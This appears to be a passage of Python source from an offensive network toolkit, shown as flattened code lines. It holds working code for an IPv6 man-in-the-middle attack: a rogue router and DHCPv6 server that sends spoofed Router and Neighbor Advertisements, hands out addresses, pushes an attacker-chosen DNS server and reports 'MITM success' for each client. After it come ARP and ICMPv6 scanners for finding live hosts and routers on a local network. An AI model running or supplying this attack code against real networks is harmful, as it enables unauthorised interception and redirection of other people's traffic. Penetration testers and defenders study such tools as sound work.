domain_search=self._domain_search, prefix=self._ipv6_prefix, router_lifetime=5000, advertisement_interval= int(self._solicit_packets_delay * 1000)) try: while True: self._raw_send.send_packet(icmpv6_ra_packet) sleep(self._solicit_packets_delay) except KeyboardInterrupt: self._base.print_info('Exit') exit(0) # endregion # region Reply to DHCPv6 and ICMPv6 requests def _reply(self, packet): # region Get client MAC address client_mac_address: str = packet['Ethernet']['source'] # endregion # region Check this client already in self._clients dictionary client_already_in_dictionary: bool = False if client_mac_address in self._clients.keys(): client_already_in_dictionary = True # endregion # region Check MiTM status for this client self._check_mitm_status(client_mac_address=client_mac_address) # endregion # region ICMPv6 if 'ICMPv6' in packet.keys(): # region ICMPv6 Router Solicitation if packet['ICMPv6']['type'] == 133: # Make and send ICMPv6 router advertisement packet icmpv6_ra_packet = \ self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, prefix=self._ipv6_prefix, router_lifetime=5000) self._raw_send.send_packet(icmpv6_ra_packet) # Print info messages self._base.print_info( 'ICMPv6 Router Solicitation request from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')') self._base.print_info( 'ICMPv6 Router Advertisement reply to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')') # Delete this client from global self._clients dictionary try: del self._clients[client_mac_address] client_already_in_dictionary = False except KeyError: pass # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'router solicitation': True, 'network prefix': self._ipv6_prefix }, client_already_in_dictionary) # endregion # region ICMPv6 Neighbor Solicitation if packet['ICMPv6']['type'] == 135: # region Get ICMPv6 Neighbor Solicitation target address target_address: str = packet['ICMPv6']['target-address'] na_packet: Union[None, bytes] = None if target_address.startswith('fe80::'): if target_address == self._your['ipv6-link-address']: self._add_client_info_in_dictionary( client_mac_address, {'neighbor solicitation your address': True}, client_already_in_dictionary) else: na_packet = \ self._icmpv6.make_neighbor_advertisement_packet(ethernet_src_mac=self._your['mac-address'], ipv6_src=self._your['ipv6-link-address'], target_ipv6_address=target_address) # endregion # region Neighbor Solicitation target address is DNS server IPv6 address if self._dns_server_ipv6_address != self._your[ 'ipv6-link-address']: if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \ self._dns_server_ipv6_address.startswith('fe80::'): if target_address == self._dns_server_ipv6_address: self._add_client_info_in_dictionary( client_mac_address, { 'neighbor solicitation dns server address': True }, client_already_in_dictionary) # endregion # region Neighbor Solicitation target address not in your ipv6 prefix if not target_address.startswith( self._ipv6_prefix_address) and na_packet is not None: for _ in range(10): self._raw_send.send_packet(na_packet) # endregion # region Neighbor Solicitation target address in your ipv6 prefix else: self._add_client_info_in_dictionary( client_mac_address, {'neighbor solicitation in ipv6 prefix': True}, client_already_in_dictionary) # endregion # region DHCPv6 advertise address is set # This client already in dictionary if client_already_in_dictionary: # Advertise address for this client is set if 'advertise address' in self._clients[ client_mac_address].keys(): # ICMPv6 Neighbor Solicitation target address is DHCPv6 advertise IPv6 address if target_address == self._clients[client_mac_address][ 'advertise address']: # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'neighbor solicitation advertise address': True }, client_already_in_dictionary) # ICMPv6 Neighbor Solicitation target address is not DHCPv6 advertise IPv6 address elif na_packet is not None: for _ in range(10): self._raw_send.send_packet(na_packet) # endregion # endregion # endregion # region DHCPv6 # Protocol DHCPv6 is enabled if not self._disable_dhcpv6 and 'DHCPv6' in packet.keys(): # region Get Client identifier and Identity Association for Non-temporary Address cid: Union[None, bytes] = None iaid: Union[None, int] = None for option in packet['DHCPv6']['options']: if option['type'] == 1: cid = option['value']['raw'] elif option['type'] == 3: iaid = option['value']['iaid'] if cid is None or iaid is None: self._base.print_info( 'Malformed DHCPv6 packet from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id'])) return # endregion # region DHCPv6 Solicit if packet['DHCPv6']['message-type'] == 1: # Set IPv6 address in advertise packet try: ipv6_address = self._clients[client_mac_address][ 'advertise address'] except KeyError: if self._target['ipv6-address'] is not None: ipv6_address = self._target['ipv6-address'] else: ipv6_address = self._ipv6_prefix_address + \ format(randint(self._first_ipv6_address_suffix, self._last_ipv6_address_suffix), 'x') # Make and send DHCPv6 advertise packet dhcpv6_advertise = \ self._dhcpv6.make_advertise_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], transaction_id=packet['DHCPv6']['transaction-id'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, ipv6_address=ipv6_address, cid=cid, iaid=iaid, preference=255) self._raw_send.send_packet(dhcpv6_advertise) # Print info messages self._base.print_info( 'DHCPv6 Solicit from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id'])) self._base.print_info( 'DHCPv6 Advertise to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' IAA: ', ipv6_address) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 solicit': True, 'advertise address': ipv6_address }, client_already_in_dictionary) # endregion # region DHCPv6 Request if packet['DHCPv6']['message-type'] == 3: # Set DHCPv6 reply packet dhcpv6_reply: Union[None, bytes] = None # region Get Client DUID time, IPv6 address and Server MAC address client_ipv6_address: Union[None, str] = None server_mac_address: Union[None, str] = None for dhcpv6_option in packet['DHCPv6']['options']: if dhcpv6_option['type'] == 2: server_mac_address = dhcpv6_option['value'][ 'mac-address'] if dhcpv6_option['type'] == 3: client_ipv6_address = dhcpv6_option['value'][ 'ipv6-address'] # endregion if server_mac_address is not None and client_ipv6_address is not None: # Check Server MAC address if server_mac_address != self._your['mac-address']: self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 mitm': 'error: server mac address is not your mac address' }, client_already_in_dictionary) else: self._add_client_info_in_dictionary( client_mac_address, {'dhcpv6 mitm': 'success'}, client_already_in_dictionary) try: if client_ipv6_address == self._clients[ client_mac_address]['advertise address']: dhcpv6_reply = \ self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], transaction_id=packet['DHCPv6']['transaction-id'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, ipv6_address=client_ipv6_address, cid=cid) self._raw_send.send_packet(dhcpv6_reply) else: self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 mitm': 'error: client request address is not advertise address' }, client_already_in_dictionary) except KeyError: self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 mitm': 'error: not found dhcpv6 solicit request for this client' }, client_already_in_dictionary) # Print info messages self._base.print_info( 'DHCPv6 Request from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' Server: ', server_mac_address, ' IAA: ', client_ipv6_address) if dhcpv6_reply is not None: self._base.print_info( 'DHCPv6 Reply to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' Server: ', server_mac_address, ' IAA: ', client_ipv6_address) else: if self._clients[client_mac_address]['dhcpv6 mitm'] == \ 'error: server mac address is not your mac address': self._base.print_error( 'Server MAC address in DHCPv6 Request is not your MAC address ' + 'for this client: ', client_mac_address) if self._clients[client_mac_address]['dhcpv6 mitm'] == \ 'error: client request address is not advertise address': self._base.print_error( 'Client requested IPv6 address is not advertise IPv6 address ' + 'for this client: ', client_mac_address) if self._clients[client_mac_address]['dhcpv6 mitm'] == \ 'error: not found dhcpv6 solicit request for this client': self._base.print_error( 'Could not found DHCPv6 solicit request ' + 'for this client: ', client_mac_address) # endregion # region DHCPv6 Release if packet['DHCPv6']['message-type'] == 8: # Print info message self._base.print_info( 'DHCPv6 Release from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id'])) # Delete this client from global self._clients dictionary try: del self._clients[client_mac_address] client_already_in_dictionary = False except KeyError: pass # endregion # region DHCPv6 Confirm if packet['DHCPv6']['message-type'] == 4: # region Get Client IPv6 address client_ipv6_address: Union[None, str] = None for dhcpv6_option in packet['DHCPv6']['options']: if dhcpv6_option['type'] == 3: client_ipv6_address = dhcpv6_option['value'][ 'ipv6-address'] # endregion # region Make and send DHCPv6 Reply packet dhcpv6_reply = \ self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], transaction_id=packet['DHCPv6']['transaction-id'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, ipv6_address=client_ipv6_address, cid=cid) self._raw_send.send_packet(dhcpv6_reply) # endregion # region Add Client info in global self._clients dictionary and print info message self._add_client_info_in_dictionary( client_mac_address, { 'advertise address': client_ipv6_address, 'dhcpv6 mitm': 'success' }, client_already_in_dictionary) self._base.print_info( 'DHCPv6 Confirm from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' IAA: ', client_ipv6_address) self._base.print_info( 'DHCPv6 Reply to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' IAA: ', client_ipv6_address) # endregion # endregion # endregion # endregion # region Check MiTM Success def _check_mitm_status(self, client_mac_address: str): try: if not self._disable_dhcpv6: assert self._clients[client_mac_address][ 'dhcpv6 mitm'] == 'success' # assert self._clients[client_mac_address]['neighbor solicitation advertise address'] else: if self._dns_server_ipv6_address != self._your[ 'ipv6-link-address']: if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \ self._dns_server_ipv6_address.startswith('fe80::'): assert self._clients[client_mac_address][ 'neighbor solicitation dns server address'] assert self._clients[client_mac_address][ 'neighbor solicitation your address'] assert self._clients[client_mac_address][ 'neighbor solicitation in ipv6 prefix'] assert 'success message' not in self._clients[ client_mac_address].keys() self._base.print_success( 'MITM success: ', self._clients[client_mac_address]['advertise address'] + ' (' + client_mac_address + ')') if self._exit_on_success: sleep(3) exit(0) else: self._clients[client_mac_address].update( {'success message': True}) return True except KeyError: return False except AssertionError: return False
class ArpScan: # region Set variables base: Base = Base() eth: RawEthernet = RawEthernet() arp: RawARP = RawARP() rawSocket: socket = socket(AF_PACKET, SOCK_RAW, htons(0x0003)) network_interface: Union[None, str] = None your_mac_address: Union[None, str] = None your_ip_address: Union[None, str] = None target_ip_address: Union[None, str] = None results: List[Dict[str, str]] = list() mac_addresses: List[str] = list() unique_results: List[Dict[str, str]] = list() retry_number: int = 3 timeout: int = 5 quit: bool = False # endregion # region Sniffer def _sniff(self) -> None: """ Sniff ARP replies :return: None """ while True: packets = self.rawSocket.recvfrom(2048) for packet in packets: try: # Parse Ethernet header ethernet_header = packet[0:14] ethernet_header_dict = self.eth.parse_header( ethernet_header) # Success parse Ethernet header assert ethernet_header_dict is not None, 'Not Ethernet packet!' # 2054 - Type of ARP packet (0x0806) assert ethernet_header_dict[ 'type'] == 2054, 'Not ARP packet!' # Destination MAC address is your MAC address assert ethernet_header_dict[ 'destination'] == self.your_mac_address, 'Not your ARP reply packet!' # Parse ARP packet arp_header = packet[14:42] arp_header_dict = self.arp.parse_packet(arp_header) # Success parse ARP packet assert arp_header_dict is not None, 'Could not parse ARP packet!' # ARP opcode == 2 (2 - ARP reply) assert arp_header_dict[ 'opcode'] == 2, 'Not ARP reply packet!' # ARP target MAC address is your MAC address assert arp_header_dict[ 'target-mac'] == self.your_mac_address, 'Not your ARP reply packet!' # ARP target IP address is your IP address assert arp_header_dict[ 'target-ip'] == self.your_ip_address, 'Not your ARP reply packet!' # Parameter Target IP address is None if self.target_ip_address is None: self.results.append({ 'mac-address': arp_header_dict['sender-mac'], 'ip-address': arp_header_dict['sender-ip'] }) # Parameter Target IP address is Set else: if arp_header_dict[ 'sender-ip'] == self.target_ip_address: self.results.append({ 'mac-address': arp_header_dict['sender-mac'], 'ip-address': arp_header_dict['sender-ip'] }) # Exception except AssertionError: pass # endregion # region Sender def _send(self) -> None: """ Send ARP requests :return: None """ arp_requests: List[bytes] = list() self.your_mac_address = self.base.get_interface_mac_address( self.network_interface) self.your_ip_address = self.base.get_interface_ip_address( self.network_interface) first_ip_address = self.base.get_first_ip_on_interface( self.network_interface) last_ip_address = self.base.get_last_ip_on_interface( self.network_interface) if self.target_ip_address is not None: if self.base.ip_address_in_range(self.target_ip_address, first_ip_address, last_ip_address): first_ip_address = self.target_ip_address last_ip_address = self.target_ip_address else: self.base.print_error( 'Bad target IP address: ', self.target_ip_address, '; Target IP address must be in range: ', first_ip_address + ' - ' + last_ip_address) exit(1) index: int = 0 while True: current_ip_address: str = str( IPv4Address(first_ip_address) + index) index += 1 if IPv4Address(current_ip_address) > IPv4Address(last_ip_address): break arp_request: bytes = self.arp.make_request( ethernet_src_mac=self.your_mac_address, ethernet_dst_mac='ff:ff:ff:ff:ff:ff', sender_mac=self.your_mac_address, sender_ip=self.your_ip_address, target_mac='00:00:00:00:00:00', target_ip=current_ip_address) arp_requests.append(arp_request) try: send_socket: socket = socket(AF_PACKET, SOCK_RAW) send_socket.bind((self.network_interface, 0)) number_of_requests: int = len(arp_requests) * int( self.retry_number) index_of_request: int = 0 percent_complete: int = 0 for _ in range(int(self.retry_number)): for arp_request in arp_requests: send_socket.send(arp_request) if not self.quit: index_of_request += 1 new_percent_complete = int( float(index_of_request) / float(number_of_requests) * 100) if new_percent_complete > percent_complete: stdout.write('\r') stdout.write( self.base.c_info + 'Interface: ' + self.base.info_text(self.network_interface) + ' ARP scan percentage: ' + self.base.info_text( str(new_percent_complete) + '%')) stdout.flush() sleep(0.01) percent_complete = new_percent_complete if not self.quit: stdout.write('\n') send_socket.close() except error as e: self.base.print_error('Exception: ', str(e)) exit(1) # endregion # region Scanner def scan(self, network_interface: str = 'eth0', timeout: int = 3, retry: int = 3, target_ip_address: Union[None, str] = None, check_vendor: bool = True, exclude_ip_addresses: Union[None, List[str]] = None, exit_on_failure: bool = True, show_scan_percentage: bool = True) -> List[Dict[str, str]]: """ ARP scan on network interface :param network_interface: Network interface name (example: 'eth0') :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param target_ip_address: Target IPv4 address (example: 192.168.0.1) :param check_vendor: Check vendor of hosts (default: True) :param exclude_ip_addresses: Exclude IPv4 address list (example: ['192.168.0.1','192.168.0.2']) :param exit_on_failure: Exit if alive hosts in network not found (default: True) :param show_scan_percentage: Show ARP scan progress percentage (default: True) :return: Result list of alive hosts (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': '192.168.0.1'}]) """ try: # region Clear lists with scan results self.results.clear() self.unique_results.clear() self.mac_addresses.clear() # endregion # region Set variables self.quit = not show_scan_percentage self.target_ip_address = target_ip_address self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) # endregion # region Run _sniffer tm = ThreadManager(2) tm.add_task(self._sniff) # endregion # region Run sender self._send() # endregion # region Wait sleep(self.timeout) # endregion # region Unique results for index in range(len(self.results)): if self.results[index][ 'mac-address'] not in self.mac_addresses: self.unique_results.append(self.results[index]) self.mac_addresses.append( self.results[index]['mac-address']) # endregion # region Exclude IP addresses if exclude_ip_addresses is not None: self.results = self.unique_results self.unique_results = list() for index in range(len(self.results)): if self.results[index][ 'ip-address'] not in exclude_ip_addresses: self.unique_results.append(self.results[index]) self.results = list() # endregion # region Get vendors if check_vendor: for result_index in range(len(self.unique_results)): self.unique_results[result_index]['vendor'] = \ self.base.get_vendor_by_mac_address(self.unique_results[result_index]['mac-address']) # endregion except KeyboardInterrupt: self.base.print_info('Exit') exit(0) if len(self.unique_results) == 0: if exit_on_failure: self.base.print_error( 'Could not find allive hosts on interface: ', self.network_interface) exit(1) return self.unique_results # endregion # region Get MAC address def get_mac_address(self, network_interface: str = 'eth0', target_ip_address: str = '192.168.0.1', timeout: int = 5, retry: int = 5, exit_on_failure: bool = True, show_scan_percentage: bool = True) -> str: """ Get MAC address of IP address on network interface :param network_interface: Network interface name (example: 'eth0') :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param target_ip_address: Target IPv4 address (example: 192.168.0.1) :param exit_on_failure: Exit if MAC address of target IP address not found (default: True) :param show_scan_percentage: Show ARP scan progress percentage (default: True) :return: MAC address of target IP address (example: '01:23:45:67:89:0a') """ # region Set result MAC address value result_mac_address = 'ff:ff:ff:ff:ff:ff' # endregion try: # region Clear lists with scan results self.results.clear() self.unique_results.clear() self.mac_addresses.clear() # endregion # region Set variables self.quit = not show_scan_percentage self.target_ip_address = target_ip_address self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) # endregion # region Run _sniffer tm = ThreadManager(2) tm.add_task(self._sniff) # endregion # region Run sender self._send() # endregion # region Wait sleep(self.timeout) # endregion # region Return if 'mac-address' in self.results[0].keys(): result_mac_address = self.results[0]['mac-address'] # endregion except IndexError: pass except KeyboardInterrupt: self.base.print_info('Exit') exit(0) if result_mac_address == 'ff:ff:ff:ff:ff:ff': if exit_on_failure: self.base.print_error( 'Could not find MAC address of IP address: ', target_ip_address) exit(1) return result_mac_address
class ICMPv6Scan: # region Set variables base: Base = Base() eth: RawEthernet = RawEthernet() ipv6: RawIPv6 = RawIPv6() icmpv6: RawICMPv6 = RawICMPv6() raw_socket: socket = socket(AF_PACKET, SOCK_RAW, htons(0x0003)) network_interface: Union[None, str] = None your_mac_address: Union[None, str] = None your_ipv6_link_address: Union[None, str] = None target_mac_address: str = '33:33:00:00:00:01' results: List[Dict[str, str]] = list() unique_results: List[Dict[str, str]] = list() mac_addresses: List[str] = list() retry_number: int = 3 timeout: int = 3 icmpv6_identifier: int = 0 router_info: Dict[str, Union[int, str]] = dict() router_search: bool = False # endregion # region Sniffer def _sniff(self) -> None: """ Sniff ICMPv6 packets :return: None """ while True: packets = self.raw_socket.recvfrom(2048) for packet in packets: try: # Parse Ethernet header ethernet_header = packet[0:14] ethernet_header_dict = self.eth.parse_header( packet=ethernet_header) # Parse Ethernet header assert ethernet_header_dict is not None, 'Not Ethernet packet!' # Source MAC address is target mac address if not self.router_search: if self.target_mac_address != '33:33:00:00:00:01': assert ethernet_header_dict['source'] == self.target_mac_address, \ 'Bad source MAC address!' # Destination MAC address is your MAC address if not self.router_search: assert ethernet_header_dict['destination'] == self.your_mac_address, \ 'Bad destination MAC address!' # Check type of ethernet header assert ethernet_header_dict[ 'type'] == self.ipv6.header_type, 'Not IPv6 packet!' # Parse IPv6 header ipv6_header = packet[14:14 + self.ipv6.header_length] ipv6_header_dict = self.ipv6.parse_header(ipv6_header) # Check parse IPv6 header assert ipv6_header_dict is not None, 'Could not parse IPv6 packet!' # Check IPv6 next header type assert ipv6_header_dict[ 'next-header'] == self.icmpv6.packet_type, 'Not ICMPv6 packet!' # Parse ICMPv6 packet icmpv6_packet = packet[14 + self.ipv6.header_length:] icmpv6_packet_dict = self.icmpv6.parse_packet( packet=icmpv6_packet) # Check parse ICMPv6 packet assert icmpv6_packet_dict is not None, 'Could not parse ICMPv6 packet!' if self.router_search: # 134 Type of ICMPv6 Router Advertisement assert icmpv6_packet_dict[ 'type'] == 134, 'Not ICMPv6 Router Advertisement packet!' # Save router information self.router_info[ 'router_mac_address'] = ethernet_header_dict[ 'source'] self.router_info[ 'router_ipv6_address'] = ipv6_header_dict[ 'source-ip'] self.router_info['flags'] = hex( icmpv6_packet_dict['flags']) self.router_info['router-lifetime'] = int( icmpv6_packet_dict['router-lifetime']) self.router_info['reachable-time'] = int( icmpv6_packet_dict['reachable-time']) self.router_info['retrans-timer'] = int( icmpv6_packet_dict['retrans-timer']) for icmpv6_ra_option in icmpv6_packet_dict['options']: if icmpv6_ra_option['type'] == 3: self.router_info['prefix'] = str(icmpv6_ra_option['value']['prefix']) + '/' + \ str(icmpv6_ra_option['value']['prefix-length']) if icmpv6_ra_option['type'] == 5: self.router_info['mtu'] = int( icmpv6_ra_option['value'], 16) if icmpv6_ra_option['type'] == 25: self.router_info['dns-server'] = str( icmpv6_ra_option['value']['address']) # Search router vendor self.router_info['vendor'] = \ self.base.get_vendor_by_mac_address(self.router_info['router_mac_address']) else: # 129 Type of ICMPv6 Echo (ping) reply assert icmpv6_packet_dict[ 'type'] == 129, 'Not ICMPv6 Echo (ping) reply packet!' # Check ICMPv6 Echo (ping) reply identifier if icmpv6_packet_dict[ 'identifier'] == self.icmpv6_identifier: self.results.append({ 'mac-address': ethernet_header_dict['source'], 'ip-address': ipv6_header_dict['source-ip'] }) except AssertionError: pass # endregion # region Sender def _send(self) -> None: """ Send ICMPv6 packets :return: None """ self.your_mac_address: str = self.base.get_interface_mac_address( self.network_interface) self.your_ipv6_link_address: str = self.base.get_interface_ipv6_link_address( self.network_interface) send_socket: socket = socket(AF_PACKET, SOCK_RAW) send_socket.bind((self.network_interface, 0)) if self.router_search: request: bytes = self.icmpv6.make_router_solicit_packet( ethernet_src_mac=self.your_mac_address, ipv6_src=self.your_ipv6_link_address) else: request: bytes = self.icmpv6.make_echo_request_packet( ethernet_src_mac=self.your_mac_address, ethernet_dst_mac=self.target_mac_address, ipv6_src=self.your_ipv6_link_address, ipv6_dst='ff02::1', id=self.icmpv6_identifier) for _ in range(self.retry_number): send_socket.send(request) sleep(0.1) send_socket.close() # endregion # region Scanner def scan(self, network_interface: str = 'eth0', timeout: int = 3, retry: int = 3, target_mac_address: Union[None, str] = None, check_vendor: bool = True, exit_on_failure: bool = True) -> List[Dict[str, str]]: """ Find alive IPv6 hosts in local network with echo (ping) request packets :param network_interface: Network interface name (example: 'eth0') :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param target_mac_address: Target MAC address (example: 192.168.0.1) :param check_vendor: Check vendor of hosts (default: True) :param exit_on_failure: Exit if alive IPv6 hosts in network not found (default: True) :return: List of alive hosts in network (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': 'fe80::1234:5678:90ab:cdef', 'vendor': 'Apple, Inc.'}]) """ # region Clear lists with scan results self.results.clear() self.unique_results.clear() self.mac_addresses.clear() # endregion # region Set variables if target_mac_address is not None: self.base.mac_address_validation(mac_address=target_mac_address, exit_on_failure=True) self.target_mac_address = target_mac_address self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) self.icmpv6_identifier = randint(1, 65535) # endregion # region Run _sniffer tm = ThreadManager(2) tm.add_task(self._sniff) # endregion # region Run _sender self._send() # endregion # region Wait sleep(self.timeout) # endregion # region Unique results for index in range(len(self.results)): if self.results[index]['mac-address'] not in self.mac_addresses: self.unique_results.append(self.results[index]) self.mac_addresses.append(self.results[index]['mac-address']) # endregion # region Get vendors if check_vendor: for result_index in range(len(self.unique_results)): self.unique_results[result_index]['vendor'] = \ self.base.get_vendor_by_mac_address(self.unique_results[result_index]['mac-address']) # endregion # region Return results if len(self.unique_results) == 0: if exit_on_failure: self.base.error_text( 'Could not found alive IPv6 hosts on interface: ' + self.network_interface) exit(1) return self.unique_results # endregion # endregion # region Search IPv6 router def search_router( self, network_interface: str = 'eth0', timeout: int = 3, retry: int = 3, exit_on_failure: bool = True) -> Dict[str, Union[int, str]]: """ Search IPv6 router in network :param network_interface: Network interface name (example: 'eth0') :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param exit_on_failure: Exit if IPv6 router in network not found (default: True) :return: IPv6 router information dictionary (example: {'router_mac_address': '01:23:45:67:89:0a', 'router_ipv6_address': 'fe80::1234:5678:90ab:cdef', 'flags': '0x0', 'router-lifetime': 0, 'reachable-time': 0, 'retrans-timer': 0, 'prefix': 'fd00::/64', 'vendor': 'D-Link International'}) """ # region Clear lists with scan results self.results.clear() self.unique_results.clear() self.mac_addresses.clear() # endregion # region Set variables self.router_search = True self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) # endregion # region Run _sniffer tm = ThreadManager(2) tm.add_task(self._sniff) # endregion # region Run _sender self._send() # endregion # region Wait sleep(self.timeout) # endregion # region Return IPv6 router information if len(self.router_info.keys()) == 0: if exit_on_failure: self.base.error_text( 'Could not found IPv6 Router on interface: ' + self.network_interface) exit(1) return self.router_info